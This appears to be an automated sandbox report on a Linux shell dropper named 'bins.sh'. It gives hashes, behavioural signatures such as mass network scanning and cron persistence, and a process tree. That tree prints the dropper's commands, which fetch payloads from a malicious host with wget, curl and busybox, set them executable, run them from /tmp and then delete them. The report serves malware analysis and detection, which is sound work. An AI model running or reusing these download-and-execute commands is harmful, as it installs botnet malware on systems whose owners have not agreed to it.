Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04-11-2024 21:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
41b94196f704ad7c3697022b3e4ea893
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SHA1
4051a27e6c6dd7dccb725ab92e8c7dea796c72e3
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SHA256
ee6db48d4a61adc6012c6afd4d9f710bd063ce9ce5843007de2d905d9ded473b
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SHA512
46596bb551d352dd6c2c1526b28b6b8f5ed92639fdfedbc4129ea2c1b9c5e669f6b826a6bf4ec8a5c70115cc47a49a59585fe583f5b17ced0d102e5cd6ebdacd
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SSDEEP
192:zDl9wXPD1sL99yFRf6znqFlZiPpl9v99yFRkznqFlNM:zDl9wXr1sMN6znqFlZixl9oWznqFlNM
Malware Config
Signatures
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Contacts a large (1955) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid Process 738 chmod 791 chmod 885 chmod -
Executes dropped EXE 3 IoCs
Processes:
3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhqq8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fFGTzGbuekv82AYjNujuq9hoRr8lG7vB39Reioc pid Process /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq 739 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF 792 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re 886 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re -
Renames itself 1 IoCs
Processes:
q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fFpid Process 793 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.nz4tmc crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fFdescription ioc Process File opened for reading /proc/6/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/10/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/11/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/150/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/969/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1005/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1012/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/837/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/947/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1022/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/819/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/881/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/909/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1033/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1038/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/72/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/870/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/877/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1045/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1063/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/75/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1008/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/806/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/807/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/895/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/920/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/987/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/992/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/994/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1040/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/37/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/876/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/882/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1026/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1066/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/16/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/704/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/802/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/828/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/850/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/871/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1019/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/322/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/917/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/986/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/76/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/83/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/816/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/931/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/950/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/995/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/662/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/965/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/967/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/70/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/382/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/846/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/865/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1034/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1035/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/8/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/954/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1000/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF File opened for reading /proc/1002/cmdline q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
wgetcurlbusyboxwgetbusyboxwgetwgetcurlcurlbusyboxpid Process 889 wget 735 curl 737 busybox 742 wget 790 busybox 802 wget 712 wget 743 curl 803 curl 804 busybox -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxwgetcurlbusyboxbusyboxdescription ioc Process File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq wget File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq curl File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq busybox File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF wget File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF curl File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF busybox File opened for modification /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:706
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/bin/rm/bin/rm bins.sh2⤵PID:709
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:712
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:735
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:737
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/bin/chmodchmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- File and Directory Permissions Modification
PID:738
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/tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- Executes dropped EXE
PID:739
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/bin/rmrm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵PID:741
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:742
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:790
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/bin/chmodchmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- File and Directory Permissions Modification
PID:791
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/tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:792 -
/bin/shsh -c "crontab -l"3⤵PID:794
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/usr/bin/crontabcrontab -l4⤵PID:795
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/bin/shsh -c "crontab -"3⤵PID:796
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:797
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/bin/rmrm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵PID:799
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- System Network Configuration Discovery
PID:802
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- System Network Configuration Discovery
PID:803
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:804
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/bin/chmodchmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- File and Directory Permissions Modification
PID:885
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/tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- Executes dropped EXE
PID:886
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/bin/rmrm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵PID:888
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- System Network Configuration Discovery
PID:889
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD59b1506f69f3f8a62871abaed1a9baeca
SHA18dbb7c3ef7cf22055d1c34635e3a555ea06eeb18
SHA256416e30edd15dd7797c6fa34827a07132889ee900cd93a228a8f62d0cd006b162
SHA5123f81041622b53bf12a261598ec87e499a76e1800515488b0a834e6bd4736972b6d7d73073c79314d22513fc7ecaee40a80d49e1bdd91762775713458db1fd04e